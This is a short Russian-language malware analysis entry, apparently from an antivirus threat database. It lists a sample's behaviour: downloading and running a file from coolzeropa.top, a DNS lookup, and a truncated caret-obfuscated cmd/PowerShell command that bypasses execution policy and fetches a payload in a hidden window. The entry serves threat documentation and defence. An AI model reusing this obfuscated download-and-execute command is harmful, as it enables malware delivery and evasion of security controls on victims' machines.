Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POWERs^H^eLL^.^eXe^ ^-^EXeCUTI^oN^P^olIC^Y^ ^BYPaS^S -No^p^R^oF^iLe ^-Wind^OWStYL^E^ HIdDEn^ (n^Ew-O^Bj^E^C^T^ sY^sTE^m.nE^t.WEbC^L^IEN^T^).dow^N^lOaD^F^I^l^e('http://coolzeropa.t...
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POWERs^H^eLL^.^eXe^ ^-^EXeCUTI^oN^P^olIC^Y^ ^BYPaS^S -No^p^R^oF^iLe ^-Wind^OWStYL^E^ HIdDEn^ (n^Ew-O^Bj^E^C^T^ sY^sTE^m.nE^t.WEbC^L^IEN^T^).dow^N^lOaD^F^I^l^e('http://coolzeropa.t...' (со скрытым окном)
